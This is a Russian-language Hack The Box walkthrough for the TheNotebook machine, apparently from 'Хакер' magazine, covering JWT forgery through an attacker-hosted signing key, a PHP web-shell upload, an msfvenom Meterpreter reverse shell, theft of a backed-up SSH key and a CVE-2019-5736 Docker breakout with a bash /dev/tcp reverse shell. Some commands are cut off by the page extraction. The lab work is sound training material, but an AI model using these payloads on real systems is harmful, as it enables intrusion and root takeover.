HTB TheNotebook. Совершаем побег из Docker, чтобы захватить рут - «Хакер»

Скачать как pdf или txt
Скачать как pdf или txt
Вы находитесь на странице: 1из 16

ВЗЛОМ

HTB TheNotebook.
Совершаем побег из
Docker, чтобы захватить
рут
RalfHacker , 03.08.2021  1 комментарий  4,020

Содержание статьи
01. Разведка. Сканирование портов
02. Точка входа. Манипуляции JWT
03. Точка опоры. Уязвимость при загрузке файлов
04. Продвижение
05. Локальное повышение привилегий

В этой статье мы на примере средней по сложности машины


TheNotebook с Hack The Box поработаем с технологией JSON Web Token,
проэксплуатируем уязвимость при загрузке файлов на сервер
и посмотрим, как работает одна из техник Docker Breakout — побега
из контейнера Docker.

WARNING

Подключаться к машинам с HTB рекомендуется только


через VPN. Не делай этого с компьютеров, где есть важные
для тебя данные, так как ты окажешься в общей сети
с другими участниками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ


Адрес машины сразу же кидаем в /etc/hosts, чтобы дальше набирать только
название.

htb
10.10.10.230 thenotebook.

И, как и любая другая атака, работа над виртуалкой начинается со сканирования


портов. Привожу свой традиционный скрипт, который делает это в два прохода
при помощи Nmap.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n'
nmap -p$ports -A $1

Результат работы скрипта


По результатам сканирования имеем два открытых порта: 22 (служба SSH) и 80
(веб-сервер nginx 1.14.0). Для начала внимательно осмотримся на сайте и соберем
информацию.

Сайт предоставляет возможность регистрации и дальнейшей авторизации. Стоит сразу


выполнить эти действия, так как очень высока вероятность тем самым увеличить
поверхность атаки.

Главная страница сайта

После авторизации нам открываются функции создания, хранения и чтения заметок.


А это потенциальная точка входа.

Страница работы с заметками

В данном случае стоит просмотреть все запросы к серверу и его ответы. Не исключено,
что таким образом обнаружатся логические ошибки в приложении. Для отлова всех
запросов и ответов проксируем их через Burp. Настроив его, проходим полный цикл
работы с заметкой: создаем ее и просматриваем.
Страница создания и заполнения заметки

Страница просмотра заметок

А теперь смотрим историю запросов в Burp.

История запросов Burp

При просмотре запросов сразу обратим внимание на используемые cookie. По формату


авторизационная печенька уж очень похожа на JWT.

Cookie, передаваемые веб-серверу

ТОЧКА ВХОДА. МАНИПУЛЯЦИИ JWT


JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload)
и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON,
а нагрузка может быть любой — это именно те критические данные, которые
передаются приложению.

Заголовок содержит поля:

• alg — алгоритм, используемый для подписи/шифрования. Это обязательный


ключ;
• typ — тип токена. Должно иметь значение JWT;
• cty — тип содержимого.

Третий элемент вычисляется на основании первых и зависит от выбранного алгоритма.


Токены могут быть перекодированы в компактное представление: к заголовку
и полезной нагрузке применяется алгоритм кодирования Base64-URL, после чего
добавляется подпись и все три элемента разделяются точками (как на скриншоте
выше).

Попробуем разобрать данные. Для этого нам понадобится либо приложение jwt_tool,


либо онлайновый сервис jwt.io. Я выбрал jwt.io, чтобы ничего не устанавливать,
и дальше буду использовать его.

В нашем варианте в заголовке присутствует ключ kid, указывающий на приватный


ключ, а в качестве подписанных данных значатся используемые при регистрации
данные — имя пользователя и адрес электронной почты. Но в данных присутствует
еще один ключ admin_cap, скорее всего обозначающий наличие привилегий.
Разбор JWT с помощью jwt.io

Что делать дальше, понятно — нужно изменить ключ, отвечающий за наличие


привилегий администратора, подписать новые данные, сгенерировать новый JWT
и заменить старый на сервисе заметок. Наличие привилегий администратора может
дать ряд своих преимуществ — от чтения приватной информации до установки
на сервис разных дополнений (что, скорее всего, приведет нас к удаленному
выполнению кода).

С изменением ключа admin_cap все ясно, просто выставим единичку. Но что сделать
с подписью? В заголовке указан адрес приватного ключа, что наталкивает на идею:
сгенерировать свою пару ключей для подписи токена, разместить их на своем
веб-сервере и затем в заголовке указать адрес ключа на этом сервере. Сначала
сгенерируем пару ключей, а потом переведем в формат PEM.

key
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.
pub
openssl rsa -in privKey.key -pubout -outform PEM -out pubKey.key.

Генерирование пары ключей

Теперь запустим в той же директории простой веб-сервер на основе Python 3.

server
python3 -m http.
Пора генерировать новый токен. Изменяем значения по ключам admin_cap и kid,
во втором случае указываем URL сгенерированного ключа. Также вставляем
сгенерированные публичный и приватный ключи в поля Verify Signature. Если ты все
сделал правильно, то ниже токена увидишь надпись Signature Veri�ed.

Создание нового токена

Вставляем новый токен в cookie, например с помощью расширения для браузера


Cookie Editor, и обновляем страницу. В окне запущенного веб-сервера увидим
обращение к файлу ключа, а в браузере, если обновить страницу, появится ссылка
на админскую панель.

Логи веб-сервера
Разделы сайта

ТОЧКА ОПОРЫ. УЯЗВИМОСТЬ ПРИ ЗАГРУЗКЕ ФАЙЛОВ


Нам стали доступны для просмотра заметки администратора — можно поискать в них
что-нибудь интересное. Но помимо этого, открылась форма для загрузки файлов. Среди
админских заметок видим упоминание исполнения файлов PHP, а это потенциальный
вектор атаки.

Заметка об исправлении конфигураций

Попробуем загрузить PHP-скрипт, который будет принимать команду в параметре c


и выполнять ее с помощью функции system. После загрузки нам покажут, с каким
именем был загружен файл.

<?php echo system($_GET["c"]); ?>

Форма загрузки файла


Имя сохраненного файла

Теперь обратимся к загруженному бэкдору и передадим ему команду id. Команда


успешно выполнена, а мы понимаем, что работаем в контексте учетной записи
веб-сервера.

Выполнение команды через загруженный бэкдор

Так как загруженный шелл работает, мы можем закинуть еще один, более удобный,


который может дать нам интерактивную консоль. Я для этих целей выбрал Meterpreter.
Сгенерировать соответствующий файл можно двумя следующими строками кода.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.178 LPORT=4321 -f raw

cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php

Первая строка генерирует основной код нагрузки с помощью msfvenom. Здесь нужно
указать локальный адрес и порт для бэкконнекта, а также формат сохранения данных.
Вторая команда оформит сгенерированный код в теги PHP.

Генерирование нагрузки Meterpreter в формате PHP

Теперь запустим универсальный листенер в Metasploit. За это отвечает модуль handler,


которому требуется знать тип нагрузки, а также локальные адрес и порт, где нужно
принимать соединение.

msfconsole

4321
handler -p php/meterpreter_reverse_tcp -H 10.10.14.178 -P
Запуск листенера

Загружаем на сервер сгенерированный файл, запускаем его и получаем бэкконнект.


Активируем только что созданную сессию командой session -i 1 и проверяем
контекст, в котором мы работаем (команда getuid).

Бэкконнект Meterpreter

Мы подключились как пользователь www-data, а значит, впереди еще эскалация


привилегий.

ПРОДВИЖЕНИЕ
Как найти путь для дальнейшего продвижения? Можно проверять вручную все
возможные варианты эскалации привилегий (о них читай в статье «Право на root»),
а можно воспользоваться готовыми скриптами. Загрузим на локальный хост скрипт
для Linux.

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-

Теперь нужно загрузить его на удаленный хост. Благо meterpreter имеет встроенную
функцию upload для загрузки файлов. Получив интерактивный шелл, назначим право
на выполнение и запустим этот чудо-скрипт.
tmp
upload /tmp/linpeas.sh /
shell

sh
chmod +x /tmp/linpeas.
sh
/tmp/linpeas.

Загрузка файла на сервер

В пункте, где перечислены интересные файлы, видим бэкап домашней директории


пользователя, в том числе и ключи SSH.

Список файлов, доступных для записи

Приватный SSH-ключ пользователя


Копируем этот приватный ключ на локальный хост и обязательно назначаем ему
строго определенные права командой chmod 0600 id_rsa. После подключения
от имени пользователя noah забираем первый флаг.

htb
ssh -i id_rsa noah@thenotebook.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ


Наиболее вероятное место для повышения привилегий — это настройки sudoers
и приложения с выставленным битом SUID. Пишем sudo -l, чтобы проверить, какие
команды можно запускать от имени рута.

Настройки судоера

Видим, что любой пользователь (ALL) может выполнить вот эту команду
в привилегированном контексте без ввода пароля (NOPASSWD):

/usr/bin/docker exec -it webapp-dev01*

В коллекции GTFOBins для этой команды готового рецепта нет. Поэтому начнем копать
самостоятельно и первым делом выясним, какая версия Docker у нас используется.

version
docker
Версия Docker

Итак, это версия 18.06.0-ce. Нам остается только поискать эксплоиты для нее. Если
у тебя стоит Kali Linux, то первым делом можешь попробовать поискать при помощи
утилиты searchsploit:

docker
searchsploit

Эксплоиты, найденные searchsploit

Два последних перечисленных эксплоита помечены как Docker Breakout — побег


из контейнера Docker. И наша версия удовлетворяет условию. Я выбрал эксплоит
46369, который нацелен на баг CVE-2019-5736. С его помощью вредоносный контейнер
может переписать на хосте бинарник runc и таким образом дает возможность
выполнять на хосте команды от имени рута.

Но есть условие: мы можем запускать любые команды с правами root в рамках


контейнера в двух контекстах:

• создание нового контейнера из контролируемого нами образа;


• подключение (docker exec) к существующему контейнеру с доступом
на запись.

Команда из sudoers обеспечивает нам второй контекст. При поиске готового PoC я


нашел на GitHub реализацию эксплоита на языке Go. В коде нужно изменить
выполняемую команду (строка 16). Вариантов много, я выбрал вот такой реверс-шелл
(следует указать локальные адрес и порт):

1
bash -i >& /dev/tcp/[IP]/[PORT] 0>&
Исходная команда

Измененная команда с реверс-шеллом

Остается собрать этот код. Если у тебя не установлен Go, то понадобится установить.

golang
apt intstall
go
go build main.

Теперь создаем листенер, который будет принимать наше соединение. Я рекомендую


использовать оболочку rlwrap, а в качестве листенера возьмем netcat.

rlwrap
apt install
port]
rlwrap nc -lvp [

Когда все готово к эксплуатации, открываем вторую консоль и авторизуемся в ней


по SSH. Так как нам нужно будет загрузить готовый эксплоит в контейнер, запустим
простой HTTP-сервер на локальной машине в директории, где расположен собранный
эксплоит.

server
python3 -m http.

Теперь мы сможем загрузить эксплоит прямо из Docker с помощью wget. В первой


консоли подключаемся к Docker, загружаем эксплоит, даем файлу право
на выполнение и выполняем.
bash
sudo docker exec -it webapp-dev01 /bin/
main
wget 10.10.14.178:8000/main -O /tmp/
main
chmod +x /tmp/
main
/tmp/

Консоль 1. Запуск эксплоита

Видим сообщение о перезаписи файла оболочки. Теперь подключимся к образу


из второй консоли.

sh
sudo /usr/bin/docker exec -it webapp-dev01 /bin/

Консоль 2. Подключение к образу

В это время в первой консоли можем следить за успешным выполнением атаки.

Консоль 1. Завершение работы эксплоита

Токен рута

Таким путем мы захватываем данную машину и имеем над ней полный контроль.

Оцени статью:


RalfHacker

 t.me/RalfHackerChannel

Теги: Docker HackTheBox PHP Python Взлом Выбор редактора Статьи

 Подписаться  Вы вошли как NestorMahno | Выйти

Присоединиться к обсуждению

{} [+]

1 КОММЕНТАРИЙ    Старые 

Вам также может понравиться